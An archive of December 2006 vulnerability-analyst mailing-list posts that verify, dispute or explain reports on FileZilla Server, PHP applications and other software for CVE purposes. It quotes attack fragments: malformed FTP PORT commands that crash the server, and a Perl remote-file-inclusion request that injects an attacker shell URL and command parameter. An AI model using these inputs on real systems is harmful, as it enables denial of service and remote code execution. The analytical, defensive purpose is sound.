- Added support for broken clients sending CWD command without arguments." Initial Uncertainties --------------------- 1) I can't find any clear relationship between the rgod/shinnai disclosures and the FileZilla fix, except the fix came out around the same day as the disclosures. But all we know better than to think of it as proof, right? 2) It seems pretty weird that "LIST A*" would trigger a bug, since wildcard functionality bugs would be caught right away. And if so, why would it trigger a null deref? (or "NLST A*") 3) What do STOR and LIST/NLST have in common? You need to specify an alternate channel for the data transfer. And notice that both exploits share the following code: $in = "PASV ".$junk."\r\n"; socket_write($socket, $in, strlen ($in)); $in = "PORT ".$junk."\r\n"; socket_write($socket, $in, strlen ($in)); This will produce an invalid PORT command for both exploits, according to RFC 959. (The PASV command isn't supposed to have any args at all, but maybe that's not relevant here.) 4) So, maybe the problem isn't in the STOR command or LIST commands, but rather in how the malformed port is being handled. Seeming Revelations ------------------- 5) CVS logs include a couple changes involving "fix null pointer dereference", by defining and using a function "CPermissions::DestroyDirlisting". http://filezilla.cvs.sourceforge.net/filezilla/FileZilla%20Server/source/Permissions.cpp?r1=1.74&view=log 6) Relevant change in source/TransferSocket.cpp: http://filezilla.cvs.sourceforge.net/filezilla/FileZilla%20Server/source/TransferSocket.cpp?r1=1.55&r2=1.56 This just refactors the code to use the new CPermissions::DestroyDirlisting. 7) The best changes are here: http://filezilla.cvs.sourceforge.net/filezilla/FileZilla%20Server/source/ControlSocket.cpp?r1=1.129&r2=1.130 http://filezilla.cvs.sourceforge.net/filezilla/FileZilla%20Server/source/ControlSocket.cpp?r1=1.129&r2=1.130 You can see how it's resetting a ".pasv" value, and in some places also calls CPermissions::DestroyDirlisting and a break if there's no socket... which it didn't do previously. Lines 1054, 1767 emphasize this. Each of these changes occur within a check for "(!m_transferstatus.socket)". Before this code was inserted, a null dereference probably would have happened in the next few lines of code, since m_transferstatus.socket is assumed to be non-null. This is the kind of behavior you'd expect from a malformed PORT command, because no socket would be created. DISCLAIMER: I'm not *sure* of this, but lookie here: http://filezilla.cvs.sourceforge.net/filezilla/FileZilla%20Server/source/ControlSocket.cpp?annotate=1.130#l757 736 : botg 1.32 case COMMAND_PORT: ... 757 : botg 1.120 if (count != 5) 758 : botg 1.11 { 759 : botg 1.122 Send(_T("501 Syntax error")); *** 760 : botg 1.130 m_transferstatus.pasv = -1; *** 761 : botg 1.11 break; 762 : } Note that "***" is the newly added line. In the COMMAND_STOR code, we have: 1231 : botg 1.120 if (m_transferstatus.pasv == -1) 1232 : botg 1.1 { 1233 : botg 1.122 Send(_T("503 Bad sequence of commands.")); 1234 : botg 1.1 break; 1235 : } So, in older versions, m_transferstatus.pasv would NOT have been -1 if the PORT command was invalid, so later code would have executed that involved sending data over a socket that doesn't exist. 8) So, given the relevant changes, we can at least assume that the vendor fixed the reported bugs. Remaining Questions ------------------- 9) So, what of the STOR and LIST/NLST issues themselves? Do they have any problems at all, or is it just the PORT command? Answer: I don't know. This code is spaghetti, the diffs are extensive, and my head hurts. To start, you might want to see how the STOR code handles a non-existent file, and whether it can handle LIST/NLST with wildcards that don't return any matches at all. - Steve From coley at linus.mitre.org Fri Dec 15 16:26:06 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Fri, 15 Dec 2006 16:26:06 -0500 (EST) Subject: [VIM] Media .MID file DoS extra info Message-ID: ref: Windows Media MID File Denial Of Service Vulnerability http://www.securityfocus.com/archive/1/archive/1/454505/100/0/threaded A .MID specification is here: http://www.sonicspot.com/guide/midifiles.html Looking at the header chunk, the following things are of note: 1) number of tracks is 0, but is expected to be 1 or more. 2) time division is zero, but is probably expected to be non-zero. Suppositions regarding what bugs a "0" in a field called "division" might trigger are welcome. 3) Only the header chunk is provided; given assumption of 1 or more tracks, the "missing track" might also be an issue independent of the 0 value in item 1. I don't know what is causing the issue, but the above items may be relevant. - Steve From f.riphagen at nsec.nl Sat Dec 16 08:55:30 2006 From: f.riphagen at nsec.nl (Ferdy Riphagen) Date: Sat, 16 Dec 2006 14:55:30 +0100 Subject: [VIM] FileZilla DoS issues - questions, answers, more questions In-Reply-To: <200612142137.kBELbnbe009912@faron.mitre.org> References: <200612142137.kBELbnbe009912@faron.mitre.org> Message-ID: <4583FAD2.3010607@nsec.nl> Steven M. Christey wrote: > 7) The best changes are here: > > http://filezilla.cvs.sourceforge.net/filezilla/FileZilla%20Server/source/ControlSocket.cpp?r1=1.129&r2=1.130 > > http://filezilla.cvs.sourceforge.net/filezilla/FileZilla%20Server/source/ControlSocket.cpp?r1=1.129&r2=1.130 > > You can see how it's resetting a ".pasv" value, and in some places > also calls CPermissions::DestroyDirlisting and a break if there's no > socket... which it didn't do previously. Lines 1054, 1767 emphasize > this. Each of these changes occur within a check for > "(!m_transferstatus.socket)". Before this code was inserted, a null > dereference probably would have happened in the next few lines of > code, since m_transferstatus.socket is assumed to be non-null. > > This is the kind of behavior you'd expect from a malformed PORT > command, because no socket would be created. > > Steve I think you hit it right there..... This will *NOT* throw an exception PASV PORT 127,0,0,1,55,10 STOR & (or NLST & or LIST &) Changing PORT to example: "PORT 127,0,0,1,55" (PORT < 5) or "PORT ,,,,,," or 127,0,0,1,260,10" (PORT > 65535) will all generate an exception with the added STOR/NLST and LIST --Ferdy-- From coley at mitre.org Sun Dec 17 19:31:48 2006 From: coley at mitre.org (Steven M. Christey) Date: Sun, 17 Dec 2006 19:31:48 -0500 (EST) Subject: [VIM] Source VERIFY of Barman interface.php/basepath RFI Message-ID: <200612180031.kBI0VmTA003150@faron.mitre.org> Ref: http://www.milw0rm.com/exploits/2920 First line of interface.php in the downloaded file (see link in exploit) is: include($basepath."/"."gettext.php"); - Steve From coley at mitre.org Sun Dec 17 19:35:34 2006 From: coley at mitre.org (Steven M. Christey) Date: Sun, 17 Dec 2006 19:35:34 -0500 (EST) Subject: [VIM] Source VERIFY of phpmycms basic.inc.php/basepath_start RFI Message-ID: <200612180035.kBI0ZYO4003369@faron.mitre.org> Researcher: v1per-haCker Ref: http://www.milw0rm.com/exploits/2927 First line in basic.inc.php in the version 0.3 download: include ($basepath_start.'/config.inc.php'); - Steve From coley at mitre.org Sun Dec 17 20:13:29 2006 From: coley at mitre.org (Steven M. Christey) Date: Sun, 17 Dec 2006 20:13:29 -0500 (EST) Subject: [VIM] mx_act RFI oddness Message-ID: <200612180113.kBI1DTMx005570@faron.mitre.org> Researcher: Dr Max Virus Ref: http://www.milw0rm.com/exploits/2919 People are reporting this as affecting the module_root_path parameter, but the demonstration URL is constructed (in Perl) as follows: HTTP::Request->new(GET=>$target.'/includes/act_constants.php?board_config[default_lang]=english&mx_root_path$module_root_path='.$shellsite='.?&'.$cmdv.'='.$cmd) The 'string' is not interpreted, so the parameter that's being sent to the script is: mx_root_path$module_root_path (unless there's a second interpolation within HTTP::Request->new itself, which would be a rather notable feature subject to its own security issues I would surmise, if such an interpolation exists). Anyways - sample testing in my PHP 4 shows that PHP treats mx_root_path$module_root_path as a valid variable name. Source inspection of the program, of course, doesn't give any mx_root_path$module_root_path. Rather, we have: >if ( !file_exists($mx_root_path . 'modules/mx_act/language/lang_' . $board_config['default_lang'] . '/lang_activity.'.$phpEx ) ) >{ > include( $mx_root_path . 'modules/mx_act/language/lang_english/lang_activity.'.$phpEx ); > $link_language='lang_english'; >} ... which is a clear RFI vector since only define() statements appear before here. Later, we have: >if ( file_exists( $module_root_path . "templates/".$theme['template_name']."/images" ) ) >{ > $current_template_images = $module_root_path . "templates/".$theme['template_name']."/images" ; >} >else >{ > $current_template_images = $module_root_path . "templates/"."subSilver"."/images" ; >} ... which is only used to set variables $images['icon_approve'], $images['icon_unapprove'], and $images['kb_title'] ... except, grep doesn't produce any results for icon_approve, icon_unapprove, or kb_title. So - what's going on here? Is this just script kiddie protection in an otherwise functional exploit? Or did I miss something? - Steve From str0ke at milw0rm.com Mon Dec 18 00:29:07 2006 From: str0ke at milw0rm.com (str0ke) Date: Sun, 17 Dec 2006 23:29:07 -0600 Subject: [VIM] mx_act RFI oddness In-Reply-To: <200612180113.kBI1DTMx005570@faron.mitre.org> References: <200612180113.kBI1DTMx005570@faron.mitre.org> Message-ID: <814b9d50612172129n75191ecfuae122294c07a6349@mail.gmail.com> I've gone over multiple false vulnerabilities from Dr Max Virus, so im guessing he just copied someone elses perl rfi exploit and cut and pasted his information. Ill have his exploit removed tonight and ill fix up an easy url for future reference. /str0ke On 12/17/06, Steven M. Christey wrote: > > Researcher: Dr Max Virus > Ref: http://www.milw0rm.com/exploits/2919 > > > People are reporting this as affecting the module_root_path parameter, > but the demonstration URL is constructed (in Perl) as follows: > > HTTP::Request->new(GET=>$target.'/includes/act_constants.php?board_config[default_lang]=english&mx_root_path$module_root_path='.$shellsite='.?&'.$cmdv.'='.$cmd) > > The 'string' is not interpreted, so the parameter that's being sent to > the script is: > > mx_root_path$module_root_path > > (unless there's a second interpolation within HTTP::Request->new > itself, which would be a rather notable feature subject to its own > security issues I would surmise, if such an interpolation exists). > > Anyways - sample testing in my PHP 4 shows that PHP treats > mx_root_path$module_root_path as a valid variable name. > > Source inspection of the program, of course, doesn't give any > mx_root_path$module_root_path. Rather, we have: > > >if ( !file_exists($mx_root_path . 'modules/mx_act/language/lang_' . $board_config['default_lang'] . '/lang_activity.'.$phpEx ) ) > >{ > > include( $mx_root_path . 'modules/mx_act/language/lang_english/lang_activity.'.$phpEx ); > > $link_language='lang_english'; > >} > > ... which is a clear RFI vector since only define() statements appear > before here. > > Later, we have: > > >if ( file_exists( $module_root_path . "templates/".$theme['template_name']."/images" ) ) > >{ > > $current_template_images = $module_root_path . "templates/".$theme['template_name']."/images" ; > >} > >else > >{ > > $current_template_images = $module_root_path . "templates/"."subSilver"."/images" ; > >} > > ... which is only used to set variables $images['icon_approve'], > $images['icon_unapprove'], and $images['kb_title'] > > ... except, grep doesn't produce any results for icon_approve, > icon_unapprove, or kb_title. > > > So - what's going on here? Is this just script kiddie protection in > an otherwise functional exploit? Or did I miss something? > > - Steve > From heinbockel at mitre.org Tue Dec 19 13:30:16 2006 From: heinbockel at mitre.org (Heinbockel, Bill) Date: Tue, 19 Dec 2006 13:30:16 -0500 Subject: [VIM] January 2007 - The Month of Apple OS X bugs ??? Message-ID: <224FBC6B814DBD4E9B9E293BE33A10DC01725F58@IMCSRV5.MITRE.ORG> See Brian Krebs blog post: http://blog.washingtonpost.com/securityfix/2006/12/january_2007_month_o f_apple_bu.html Should we start taking bets on whether this will achieve the success that the month of browser bugs or month of kernel bugs saw? Or will it go the way of the week of Oracle bugs and stop before it even begins? Well, at least we can strike up the band for a renewed debate over whether OS X or Windows is more secure! Anybody up for starting the Month of Windows Vista bugs?! William Heinbockel Infosec Engineer The MITRE Corporation 202 Burlington Rd. MS S145 Bedford, MA 01730 heinbockel at mitre.org 781-271-2615 From coley at linus.mitre.org Tue Dec 19 17:47:59 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Tue, 19 Dec 2006 17:47:59 -0500 (EST) Subject: [VIM] mx_act RFI oddness In-Reply-To: <814b9d50612172129n75191ecfuae122294c07a6349@mail.gmail.com> References: <200612180113.kBI1DTMx005570@faron.mitre.org> <814b9d50612172129n75191ecfuae122294c07a6349@mail.gmail.com> Message-ID: str0ke said: > I've gone over multiple false vulnerabilities from Dr Max Virus, so im > guessing he just copied someone elses perl rfi exploit and cut and > pasted his information. > > Ill have his exploit removed tonight and ill fix up an easy url for > future reference. Was anybody able to verify the mx_root_path vector? That seems like a strong possibility due to this code snippet: > > >if ( !file_exists($mx_root_path . 'modules/mx_act/language/lang_' . $board_config['default_lang'] . '/lang_activity.'.$phpEx ) ) > > >{ > > > include( $mx_root_path . 'modules/mx_act/language/lang_english/lang_activity.'.$phpEx ); > > > $link_language='lang_english'; > > >} > > > > ... which is a clear RFI vector since only define() statements appear > > before here. - Steve From coley at linus.mitre.org Tue Dec 19 18:01:33 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Tue, 19 Dec 2006 18:01:33 -0500 (EST) Subject: [VIM] abarcar vendor statement on CVE-2006-5840 Message-ID: FYI... ---------- Forwarded message ---------- Date: Fri, 15 Dec 2006 09:39:06 +0100 From: Helmut P. Fleischhauer To: Steven M. Christey Subject: Re: CVE-2006-5840 What I would like to post is the following: ************* abarcar Realty Portal The version 5.1.5 of the abarcar Realty Portal has been discontinued 2003 The version 6.xx has been discontinued beginning 2006 A fix for above versions has been available since that time As of version 7.0 static pages are created - a parameter for cat.php is no longer used - the routine for news has been dropped and a different routine creating static pages is now used - slistl.php never existed in the Realty Portal abarcar Software http://www.abarcar.com ************** Sincerely Helmut P. Fleischhauer From coley at mitre.org Tue Dec 19 20:01:35 2006 From: coley at mitre.org (Steven M. Christey) Date: Tue, 19 Dec 2006 20:01:35 -0500 (EST) Subject: [VIM] Possible HyperVM vendor dispute - but of severity or existence? Message-ID: <200612200101.kBK11ZkW026345@faron.mitre.org> Researcher: Aria (keep reading anyway) Ref: BUGTRAQ:20061217 HyperVM Cross-Site Scripting URL:http://www.securityfocus.com/archive/1/archive/1/454704/100/0/threaded So, there appears to be a dispute, but I'm not sure if the vendor understands the issue. front page at http://hypervm.com/ : "... An XSS issue has been found in hyperVM, but please note that it is not exploitable, but still, all customers are urged to update hyperVM to the latest version." http://forum.lxlabs.com/index.php?t=msg&goto=2425&S=664ae54d462254873a6f4a0aed07acf1 "An XSS problem has been discovered in hyperVM. Please note that it is not exploitable. We have fixed this in the latest version." Finally, at http://www.webhostingtalk.com/showthread.php?t=570655 (but I'm not sure if this is a vendor Rep): Also I don't know what you mean by legitimate, but this is NOT exploitable. In fact, we do take a lot of effort to make sure that lower level clients cannot enter values that can be exploited to make admin inadvertently commit anything out of the way. It is a bug in hyperVM, but not a vulnerability. If you want to see what exactly is an exploitable XSS vulnerability, you can see here: http://www.rs-labs.com/adv/RS-Labs-Advisory-2006-1.txt The "BUG #1" item in the RS Labs advisory is CSRF, *not* XSS. So, I'm not sure what they mean by "not exploitable" here. Not exploitable for CSRF style attacks? The problem doesn't even exist for basic XSS? And more importantly - if there's no problem, then what was fixed? - Steve From str0ke at milw0rm.com Tue Dec 19 22:21:30 2006 From: str0ke at milw0rm.com (str0ke) Date: Tue, 19 Dec 2006 21:21:30 -0600 Subject: [VIM] mx_act RFI oddness In-Reply-To: References: <200612180113.kBI1DTMx005570@faron.mitre.org> <814b9d50612172129n75191ecfuae122294c07a6349@mail.gmail.com> Message-ID: <814b9d50612191921j2e1994b7rb724240cdfc730b5@mail.gmail.com> Yep its a working RFI Steve. /str0ke On 12/19/06, Steven M. Christey wrote: > > str0ke said: > > > I've gone over multiple false vulnerabilities from Dr Max Virus, so im > > guessing he just copied someone elses perl rfi exploit and cut and > > pasted his information. > > > > Ill have his exploit removed tonight and ill fix up an easy url for > > future reference. > > Was anybody able to verify the mx_root_path vector? That seems like a > strong possibility due to this code snippet: > > > > >if ( !file_exists($mx_root_path . 'modules/mx_act/language/lang_' . $board_config['default_lang'] . '/lang_activity.'.$phpEx ) ) > > > >{ > > > > include( $mx_root_path . 'modules/mx_act/language/lang_english/lang_activity.'.$phpEx ); > > > > $link_language='lang_english'; > > > >} > > > > > > ... which is a clear RFI vector since only define() statements appear > > > before here. > > > - Steve > From coley at mitre.org Wed Dec 20 18:39:36 2006 From: coley at mitre.org (Steven M. Christey) Date: Wed, 20 Dec 2006 18:39:36 -0500 (EST) Subject: [VIM] Provable vendor ACK for Album Photo Sans Nom traversal issue Message-ID: <200612202339.kBKNdajl023295@faron.mitre.org> Ref: CVE-2006-5320 Following is a diff between versions 1.7 and 1.6, showing cleansing intended for directory traversal: 18c11 < if(isset($_GET['img']) && file_exists($_GET['img']) && preg_match('!\.(jpe?g|png|gif)$!i', $_GET['img']) && !preg_match('!^(\.){2}|(/\.)!', $_GET['img'])) { --- > if(isset($_GET['img']) && file_exists($_GET['img'])) { - Steve From coley at mitre.org Fri Dec 22 19:24:13 2006 From: coley at mitre.org (Steven M. Christey) Date: Fri, 22 Dec 2006 19:24:13 -0500 (EST) Subject: [VIM] Source verify of PowerClan RFI Message-ID: <200612230024.kBN0ODAi029514@faron.mitre.org> Researcher: nuffsaid Ref: http://www.milw0rm.com/exploits/2973 footer.inc.php in the specified download file has only one statement: include($settings[footer]); - Steve From coley at mitre.org Tue Dec 26 14:47:39 2006 From: coley at mitre.org (Steven M. Christey) Date: Tue, 26 Dec 2006 14:47:39 -0500 (EST) Subject: [VIM] Vendor dispute for Animated Smiley Generator RFI (CVE-2006-6541) Message-ID: <200612261947.kBQJldde021373@faron.mitre.org> The vendor for Animated Smiley Generator disputes CVE-2006-6541, stating that only warez copies of the application (apparently distributed by St at rExT) are vulnerable: Legitimately purchased applications do not allow this exploit. I was not able to do any further research. - Steve From coley at linus.mitre.org Tue Dec 26 15:02:44 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Tue, 26 Dec 2006 15:02:44 -0500 (EST) Subject: [VIM] Vendor dispute for Animated Smiley Generator RFI (CVE-2006-6541) In-Reply-To: <200612261947.kBQJldde021373@faron.mitre.org> References: <200612261947.kBQJldde021373@faron.mitre.org> Message-ID: Here's a vendor URL containing the dispute: http://www.smileygenerator.us/sales/index.php?act=viewProd&productId=8 Security reports of file include vulnerabilities for the Animated Smiley Generator are applicable only to the "nulled" version of this appliication being circulated by warez sites. Legitimate copies will not allow this exploit! ------ - Steve From coley at mitre.org Tue Dec 26 16:48:35 2006 From: coley at mitre.org (Steven M. Christey) Date: Tue, 26 Dec 2006 16:48:35 -0500 (EST) Subject: [VIM] MINI WEB SHOP vuln report - incomplete researcher diagnosis Message-ID: <200612262148.kBQLmZ6l028520@faron.mitre.org> Researcher: Linux_Drox of LeZr Ref: BUGTRAQ:20061219 Multiple Bugs in MINI WEB SHOP http://www.securityfocus.com/archive/1/archive/1/454864/100/0/threaded viewcategory.php source code from 2.1.c: > $catname=$_GET['catname']; > $file=file("$itemsdb");$sl=0;$fs=0; > > [parse $file as a list of |-separated records, with fields > including $fcat] > > if($catname==$fcat && $done==false) { > > ... > [echo] CATEGORY $catname
> > ... > > show_array($ma0,'act=viewcat&catname='.$catname); These are the only uses of $catname. 1) XSS is present in the CATEGORY printout. I didn't examine show_array(). 2) Since these are the only uses of $catname, there's nothing suggesting an error that would trigger full path disclosure with an "anything" (arbitrary) value for $catname. But the demonstration URL doesn't have an itemsdb parameter at all, which would trigger a verbose message that leaks the pathname, due to: $file=file("$itemsdb");$sl=0;$fs=0; 3) Since $itemsdb is not defined previous to this statement, a file-reading issue is possible due to the file() call. This is directory traversal at least; remote inclusion (e.g. FTP or share URL) is less relevant here, although I'm sure str0ke can think of 12 useful scenarios ;-) I don't have time to investigate the logic of the routine, but since it does reads from a "|" separated file and only sets output values when matching the value of the 14th field, it's possible that only portions of the file could be accessed. That said, the 14th field can match $catname, so maybe a blank value would be sufficient, since the whole line from the file is saved. Again, though, I haven't investigated the logic fully. - Steve From jericho at attrition.org Tue Dec 26 18:14:50 2006 From: jericho at attrition.org (security curmudgeon) Date: Tue, 26 Dec 2006 18:14:50 -0500 (EST) Subject: [VIM] Lotus Notes update Message-ID: Not sure if people caught this a few months back: http://archives.neohapsis.com/archives/fulldisclosure/2006-10/0114.html These are the details for three unspecified vulnerabilities in Lotus Notes. Original vendor advisory: http://www-1.ibm.com/support/docview.wss?rs=0&uid=swg21173910&loc=en_US&cs=utf-8&cc=us&lang=en This tracks with CVE-2004-2280 and CVE-2004-2281. The third vulnerability described probably goes with 2004-2280 (KSPR62F4KN). The other two, not sure. I'll try to dig into this when I can find more time. From jericho at attrition.org Tue Dec 26 18:33:08 2006 From: jericho at attrition.org (security curmudgeon) Date: Tue, 26 Dec 2006 18:33:08 -0500 (EST) Subject: [VIM] maintain example6.php phphtmllib Variable Remote File Inclusion Message-ID: I couldn't find a CVE for this, but the 'maintain' vuln posted in October may have a vendor ack based on the date of disclosure and date of upgrade. Due to the vague changelog though, it isn't certain.. http://archives.neohapsis.com/archives/bugtraq/2006-10/0247.html http://maintainproject.osuosl.org/downloads/releases/3.1.0/releasenotes Maintain 3.1.0 Release Notes Several new features have been added: Security Fixes From jericho at attrition.org Tue Dec 26 18:34:52 2006 From: jericho at attrition.org (security curmudgeon) Date: Tue, 26 Dec 2006 18:34:52 -0500 (EST) Subject: [VIM] maintain example6.php phphtmllib Variable Remote File Inclusion In-Reply-To: References: Message-ID: : I couldn't find a CVE for this, but the 'maintain' vuln posted in October may : have a vendor ack based on the date of disclosure and date of upgrade. Due to : the vague changelog though, it isn't certain.. : : http://archives.neohapsis.com/archives/bugtraq/2006-10/0247.html : : http://maintainproject.osuosl.org/downloads/releases/3.1.0/releasenotes : : Maintain 3.1.0 Release Notes : Several new features have been added: : Security Fixes Oh, I should have also mentioned, the example6.php script is part of the 'phphtmllib' package, which has its own changelog in the maintain tar archive. This issue may affect other programs as well. From jericho at attrition.org Tue Dec 26 20:35:58 2006 From: jericho at attrition.org (security curmudgeon) Date: Tue, 26 Dec 2006 20:35:58 -0500 (EST) Subject: [VIM] ack: Mambo Flyspray ME Component startdown.php file Variable Arbitrary File Access Message-ID: CVE-2006-6203, OSVDB 30699 http://mamboxchange.com/forum/forum.php?forum_id=7823 Posted By: Christian Rebel Date: 2006-12-12 15:25 Summary: Security Update for Flyspray ME Project: Flyspray (Mambo Edition) A serious security risk was found in Flyspray ME 1.0.1 therefore we released a new version 1.0.2 today. See changelog.txt for details. We recommend updating the component instantly! From coley at mitre.org Tue Dec 26 21:03:15 2006 From: coley at mitre.org (Steven M. Christey) Date: Tue, 26 Dec 2006 21:03:15 -0500 (EST) Subject: [VIM] Vendor ACK (basically) for Drake CMS RFI (CVE-2006-5767) Message-ID: <200612270203.kBR23FQT013949@faron.mitre.org> http://sourceforge.net/forum/forum.php?forum_id=636860 The vendor acknowledges the issue but notes that the product is regarded as an alpha version: Drake CMS v0.2.2 alpha rev.846 was affected by a possible remote file inclusion vulnerability... The vulnerability could be exploited only when the PHP host had the register_globals INI setting enabled; it has been fixed in subsequent releases... We do not consider security reports valid until the first official release of Drake CMS." - Steve From coley at linus.mitre.org Tue Dec 26 21:24:03 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Tue, 26 Dec 2006 21:24:03 -0500 (EST) Subject: [VIM] ack: Mambo Flyspray ME Component startdown.php file Variable Arbitrary File Access In-Reply-To: References: Message-ID: On Tue, 26 Dec 2006, security curmudgeon wrote: > CVE-2006-6203, OSVDB 30699 > > A serious security risk was found in Flyspray ME 1.0.1 therefore we > released a new version 1.0.2 today. See changelog.txt for details. We > recommend updating the component instantly! Looks like more than the original issue might have been handled. The CHANGELOG.TXT in 1.0.2 says: 1.0.1 --> 1.0.2 --------------- - fixed a serious security risk in startdown.php as well as flyspray.php and admin.flyspray.php (you only need to update the following files on your server: - flyspray.xml - startdown.php - flyspray.php - admin.flyspray.php A diff between 1.0.1 and 1.0.2 shows that startdown.php was changed to address the issue... so what about the others? flyspray.xml only changes version information. I can't instantly tell what's going on with flyspray.php and admin.flyspray.php. The older versions retrieve a filename as recorded in a database record, then test it using file_exists; but the update only changes it to an is_file test. There doesn't seem to be any other change that could be interpreted as sanity checking. It's not immediately clear what issues are being addressed. - Steve